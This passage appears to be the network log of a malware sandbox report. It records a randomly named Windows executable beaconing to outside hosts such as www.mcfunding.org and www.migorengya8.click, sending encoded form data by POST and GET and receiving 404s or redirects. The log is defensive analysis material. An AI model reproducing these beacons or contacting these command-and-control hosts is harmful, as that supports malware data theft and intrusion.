Nov 6, 2024 08:40:41.980679035 CET	834	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 70 71 35 62 56 6f 6d 68 4c 43 56 55 42 65 5a 64 4c 43 45 4e 65 67 76 44 69 78 4b 6b 4b 2f 58 69 49 2f 4f 62 4b 37 63 51 44 71 76 51 44 4a 7a 46 71 6d 65 37 5a 30 6d 65 6a 61 41 30 72 47 6f 72 63 74 2f 70 30 44 4c 5a 4e 66 74 76 68 33 49 51 2f 64 64 71 78 31 2f 4a 67 66 79 5a 46 56 6a 33 54 51 76 35 6c 74 30 63 47 30 33 70 48 79 77 43 47 6b 74 6a 64 6c 78 42 54 78 41 41 54 6f 52 69 78 76 38 33 62 6e 32 77 42 32 68 44 72 34 4c 78 58 6b 77 76 59 49 69 67 41 36 68 6e 49 41 55 58 45 50 71 55 4d 56 62 67 79 44 39 43 66 45 49 2f 4d 46 6e 59 57 4f 75 4c 70 6a 2f 47 75 62 6f 52 67 68 33 47 77 68 47 71 32 39 70 41 4e 47 54 61 51 57 48 6a 51 3d 3d Data Ascii: DDp=g4UhOENgM8To+pq5bVomhLCVUBeZdLCENegvDixKkK/XiI/ObK7cQDqvQDJzFqme7Z0mejaA0rGorct/p0DLZNftvh3IQ/ddqx1/JgfyZFVj3TQv5lt0cG03pHywCGktjdlxBTxAAToRixv83bn2wB2hDr4LxXkwvYIigA6hnIAUXEPqUMVbgyD9CfEI/MFnYWOuLpj/GuboRgh3GwhGq29pANGTaQWHjQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49998	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:44.573451996 CET	1847	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 70 71 35 62 56 6f 6d 68 4c 43 56 55 42 65 5a 64 4c 43 45 4e 65 67 76 44 69 78 4b 6b 4b 6e 58 69 35 66 4f 61 72 37 63 52 44 71 76 5a 6a 4a 32 46 71 6d 6d 37 59 63 69 65 6a 47 51 30 70 2b 6f 71 2f 56 2f 6f 46 44 4c 58 4e 66 74 7a 52 33 4a 54 50 64 4d 71 78 6c 7a 4a 6b 44 79 5a 46 56 6a 33 56 55 76 33 6b 74 30 65 47 30 77 71 48 79 73 56 57 6c 34 6a 64 64 68 42 54 38 37 41 69 49 52 69 51 66 38 34 4a 50 32 79 68 32 6a 4f 4c 35 55 78 58 70 33 76 59 46 5a 67 41 6d 4c 6e 4b 63 55 58 43 2b 4a 4b 5a 31 30 6a 79 62 53 42 63 4d 43 2f 35 41 55 53 56 69 77 4c 61 53 58 49 76 6e 44 56 77 70 2b 49 68 45 69 6a 56 31 57 4f 6f 69 41 52 42 76 65 68 59 75 5a 48 7a 57 49 53 6a 6a 32 76 71 74 44 39 69 78 57 49 55 32 34 69 74 55 42 50 6d 6d 55 31 75 73 4b 71 72 6d 4e 4d 56 52 74 56 34 65 34 74 7a 69 47 71 67 47 6a 71 54 45 71 6d 52 42 37 75 5a 52 64 39 79 66 41 50 41 53 6d 54 64 68 55 31 64 48 42 51 4f 69 39 39 50 47 2f 6d 33 6c 62 67 2b 32 79 56 6a 37 72 46 54 66 55 64 39 [TRUNCATED] Data Ascii: DDp=g4UhOENgM8To+pq5bVomhLCVUBeZdLCENegvDixKkKnXi5fOar7cRDqvZjJ2Fqmm7YciejGQ0p+oq/V/oFDLXNftzR3JTPdMqxlzJkDyZFVj3VUv3kt0eG0wqHysVWl4jddhBT87AiIRiQf84JP2yh2jOL5UxXp3vYFZgAmLnKcUXC+JKZ10jybSBcMC/5AUSViwLaSXIvnDVwp+IhEijV1WOoiARBvehYuZHzWISjj2vqtD9ixWIU24itUBPmmU1usKqrmNMVRtV4e4tziGqgGjqTEqmRB7uZRd9yfAPASmTdhU1dHBQOi99PG/m3lbg+2yVj7rFTfUd9UtoFEcgBdksW/G/frLwS9kndSRG4tuy7lIRtSvNjH5lNVvhVtdhnqH1A41f2Mulzfbuix7NBgRXkToV+vK3mw8R7fIGWoP5OOGYxn7FsN6fbYqafHq/3i38fgkjKyba6lCIS+yIyY1I75Q+FNJtRKm9ilKarEtEc4i9PgcRuYOn7JD+cfqcD3HVSp6k4k5wJw/bGZH3KpL9B8BI3VJxK4DNq1N9PvaMIned4I0tLh1ivgv4Oi0jOfHKjp4Joqe/Dck0PVnANi3Dk6XJESjAzPA2VIvMQNY7nxjDFElwnZmS9dGXSSdboswlFPyiAiWpQs/6tEAZJzdi4WrsjGpJp3zjSpKbJ5vdrbWbIdLCxWgh9GiQRrere0fX6yT41LVHs8LDny7FBj6mDdiCWjOvtDR6/UeVc7IJdP9DuhOWBZFgQbLkPGLHEhH5hEd35kCh08WA9DBPJjbHAj1eH8mroU0rlz8pEXRUgTE5c+d8j1zlFYVxx5YpK/qoAUTdHoiO3gej2XfJcIny6mWWvxqXoKOVIg7rRNEvMzDL3PbUOBsKX6NeQEWs+sNQ+JmFzfQ/tmDCbTZqY6FrD5Vv/PCPo5KWCIQj67DKkd7sJzod0gbfG3c8E8PzYm5caRd175W0iYU2rJX8cHGHhj6SKZFbgLVrsOwL/dblXVi [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49999	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:47.255166054 CET	550	OUT	GET /0598/?SvrLY=3P8lALA&DDp=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:40:47.886740923 CET	409	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 07:40:47 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 76 72 4c 59 3d 33 50 38 6c 41 4c 41 26 44 44 70 3d 74 36 38 42 4e 30 39 69 56 65 71 62 2f 49 75 4c 46 31 6f 61 37 4c 47 44 4f 30 37 2f 57 37 43 46 49 6f 6f 63 48 51 73 33 6c 6f 7a 71 67 36 50 69 45 34 69 72 5a 42 2b 64 56 6b 52 63 4e 4b 6e 33 71 71 59 54 66 7a 2b 55 32 4b 4b 73 6b 64 52 73 76 47 76 34 54 75 2b 58 69 52 36 4e 58 6f 74 47 72 79 39 41 4e 45 65 65 52 43 6f 4e 34 46 68 62 78 6e 42 5a 53 6e 49 68 6d 30 53 7a 4b 30 4d 69 73 49 5a 6c 44 6a 4d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?SvrLY=3P8lALA&DDp=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50000	198.252.98.54	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:53.007347107 CET	822	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 69 77 4d 7a 34 58 74 7a 71 46 51 54 68 36 69 76 77 6b 4a 38 68 4b 46 36 30 33 42 51 33 6e 4b 4b 2b 4d 6f 70 38 55 42 71 4f 70 70 63 66 33 76 70 61 47 72 52 4e 31 6e 63 69 44 38 6b 53 46 39 39 63 4d 62 42 2b 4d 70 4d 66 54 6a 70 79 2b 35 6d 36 52 6f 78 41 76 38 71 6e 44 6a 47 61 34 78 68 48 51 71 51 32 65 35 42 62 49 39 38 30 30 49 52 51 37 30 69 31 49 50 4d 2f 4a 66 32 45 35 4b 63 4d 75 73 49 68 52 4d 32 56 56 62 4d 4b 70 51 71 65 53 37 43 4e 59 33 4b 71 78 54 48 34 56 4a 4c 63 74 73 31 4f 5a 6e 4c 57 6a 6d 76 37 43 49 2f 4e 4f 59 43 75 4e 41 73 76 6d 74 4d 4d 32 67 73 Data Ascii: DDp=vjjmaXWtymtuiwMz4XtzqFQTh6ivwkJ8hKF603BQ3nKK+Mop8UBqOppcf3vpaGrRN1nciD8kSF99cMbB+MpMfTjpy+5m6RoxAv8qnDjGa4xhHQqQ2e5BbI9800IRQ70i1IPM/Jf2E5KcMusIhRM2VVbMKpQqeS7CNY3KqxTH4VJLcts1OZnLWjmv7CI/NOYCuNAsvmtMM2gs
Nov 6, 2024 08:40:53.640574932 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 06 Nov 2024 07:40:53 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50001	198.252.98.54	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:55.615777969 CET	846	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 6a 54 55 7a 72 6b 56 7a 73 6c 51 63 75 61 69 76 35 45 4a 34 68 4b 42 36 30 32 46 35 33 52 69 4b 39 74 59 70 75 46 42 71 65 35 70 63 4b 48 75 6a 56 6d 72 67 4e 31 71 6a 69 44 41 6b 53 46 70 39 63 4e 72 42 2b 2f 42 50 66 44 6a 72 2b 65 35 67 30 78 6f 78 41 76 38 71 6e 44 33 6f 61 34 35 68 48 67 61 51 6b 50 35 4f 57 6f 39 2f 6b 45 49 52 44 72 30 6d 31 49 4f 6a 2f 49 43 6a 45 2f 47 63 4d 72 41 49 69 44 30 70 63 56 62 4b 4f 70 52 72 52 78 4b 30 4c 71 6d 4d 70 44 57 67 37 48 74 38 51 37 78 76 53 71 6e 6f 45 7a 47 74 37 41 51 4e 4e 75 59 6f 73 4e 34 73 39 78 68 72 44 43 46 50 2b 48 49 4a 37 4a 73 6f 4b 4b 4a 54 55 5a 56 32 71 4d 36 48 77 67 3d 3d Data Ascii: DDp=vjjmaXWtymtujTUzrkVzslQcuaiv5EJ4hKB602F53RiK9tYpuFBqe5pcKHujVmrgN1qjiDAkSFp9cNrB+/BPfDjr+e5g0xoxAv8qnD3oa45hHgaQkP5OWo9/kEIRDr0m1IOj/ICjE/GcMrAIiD0pcVbKOpRrRxK0LqmMpDWg7Ht8Q7xvSqnoEzGt7AQNNuYosN4s9xhrDCFP+HIJ7JsoKKJTUZV2qM6Hwg==
Nov 6, 2024 08:40:56.266798019 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 06 Nov 2024 07:40:56 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50002	198.252.98.54	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:58.184679985 CET	1859	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 6a 54 55 7a 72 6b 56 7a 73 6c 51 63 75 61 69 76 35 45 4a 34 68 4b 42 36 30 32 46 35 33 52 61 4b 2b 65 41 70 38 79 39 71 64 35 70 63 57 58 75 67 56 6d 72 39 4e 31 79 76 69 44 4d 65 53 48 52 39 63 76 6a 42 33 75 42 50 4d 6a 6a 72 6a 4f 35 68 36 52 6f 42 41 76 73 75 6e 44 6e 6f 61 34 35 68 48 69 43 51 6e 65 35 4f 46 34 39 38 30 30 49 56 51 37 30 65 31 49 6d 5a 2f 49 47 7a 48 50 6d 63 4d 4b 73 49 75 57 59 70 45 46 62 49 4a 70 51 34 52 78 47 6e 4c 71 36 75 70 43 7a 46 37 45 78 38 56 75 49 75 41 4b 6e 53 62 51 36 65 76 77 34 4c 45 4c 6b 4c 74 66 6f 33 74 48 70 43 64 44 4a 63 2f 67 41 74 36 4b 6f 70 63 4c 78 44 63 76 63 79 76 74 58 43 7a 36 7a 4c 76 47 7a 69 72 6e 36 6d 63 7a 49 70 6e 59 5a 70 31 68 34 48 48 50 57 74 56 63 49 36 46 59 32 35 6f 4c 52 59 6b 50 43 6d 62 6d 50 51 53 58 48 42 62 73 53 4b 6b 77 46 35 43 56 70 6e 63 2f 42 44 58 4c 45 6b 41 67 44 6f 38 4e 43 4a 4d 6d 7a 6f 32 4d 6d 73 79 6a 49 58 47 75 4d 49 4e 2b 4a 64 72 66 63 43 63 72 2f 4e 6a 30 [TRUNCATED] Data Ascii: DDp=vjjmaXWtymtujTUzrkVzslQcuaiv5EJ4hKB602F53RaK+eAp8y9qd5pcWXugVmr9N1yviDMeSHR9cvjB3uBPMjjrjO5h6RoBAvsunDnoa45hHiCQne5OF49800IVQ70e1ImZ/IGzHPmcMKsIuWYpEFbIJpQ4RxGnLq6upCzF7Ex8VuIuAKnSbQ6evw4LELkLtfo3tHpCdDJc/gAt6KopcLxDcvcyvtXCz6zLvGzirn6mczIpnYZp1h4HHPWtVcI6FY25oLRYkPCmbmPQSXHBbsSKkwF5CVpnc/BDXLEkAgDo8NCJMmzo2MmsyjIXGuMIN+JdrfcCcr/Nj0ysQpo/Dl3VqkIkkiXRM0pchmISyg9fkYwG1voy52IUVGs9gADcOCJr5Cptd2RUBtYyLZX3gDii2b//3xYH7sETiq1AynFKf6bTXxWPT3tc6OKTZuAPwFANZzsrne/kn7lAYqs/rmsIJgBb7Xt7oj9EURBSmfo4JyyD/TztIpxA5UqroU2gYE0yMyiulKrXP36BUEFFbjr2EL5fhX7OmoSZomlMR2RRjcgOTk+QAYq+QZOWE+KTmKK8CmveemrpAwKfFcwKo94IG7OkeNDSjmPAlSPdcPIytTV652kAXEwaTnbLxE3uJKzxD1zrYkbbqAhvczoQ/I6uyFJSB9HebZ2SiBd64G5N97XMfh1UAR0oLgjoK02gwL1Xqyefsx/4jH5kiGAuInal+dvxeY4R7lKn0vrhqfKz17++nF+S3tUvObXDV4H8WNdKh2sI5gNp6jXlX1znLV5YmjJlC6W83nshw0qUlNDKjvLH73RAlx35ZoCLZMsjZ4R77+piDM16E9n8hzTepgQXXCjRRHGXd87a8J0SA0RbLt1gVo+iy032H4iPfnOMRFjCSlwM+9UAO1QCDTytcomkeyRq9pJS3t8sAcbTJBhQuZ3sbZwJ2ZxcWoctnDw6lTKaa4jjhxKQWwFbYnuGUPEZasl05zyOwsEwHaMefGEHO2PU [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50003	198.252.98.54	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:00.734349966 CET	554	OUT	GET /y3dc/?DDp=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tREfAnxyZwa91URYeYbxhv5bPljMHSbrvZtVpRz6w5PNfkG2YKS2Ps=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:41:01.380016088 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 06 Nov 2024 07:41:01 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50005	103.224.182.242	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:06.764895916 CET	801	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 7a 75 51 52 45 34 53 66 75 52 79 78 62 65 66 58 75 77 35 6d 2f 6e 59 37 44 63 52 59 36 78 35 39 56 78 53 71 58 57 45 69 2b 2f 78 57 4f 34 4e 4b 4e 6d 6a 56 79 6f 73 79 49 34 34 37 48 4e 35 61 47 51 76 4e 6b 48 59 76 47 2b 6b 7a 62 6c 70 72 70 68 4d 77 75 41 36 38 4f 54 76 74 38 5a 41 61 77 37 31 52 63 47 36 58 32 2b 49 51 61 62 30 56 32 6b 74 6f 54 70 33 79 72 4c 78 76 69 7a 4e 76 67 53 79 30 44 73 47 5a 76 34 6b 51 39 42 66 36 52 39 35 79 6d 78 6b 49 61 41 61 54 73 73 74 56 46 6f 44 44 79 4f 45 42 4b 75 41 58 47 2b 72 76 6b 44 68 76 44 34 6a 49 65 32 78 36 42 6d 30 2b Data Ascii: 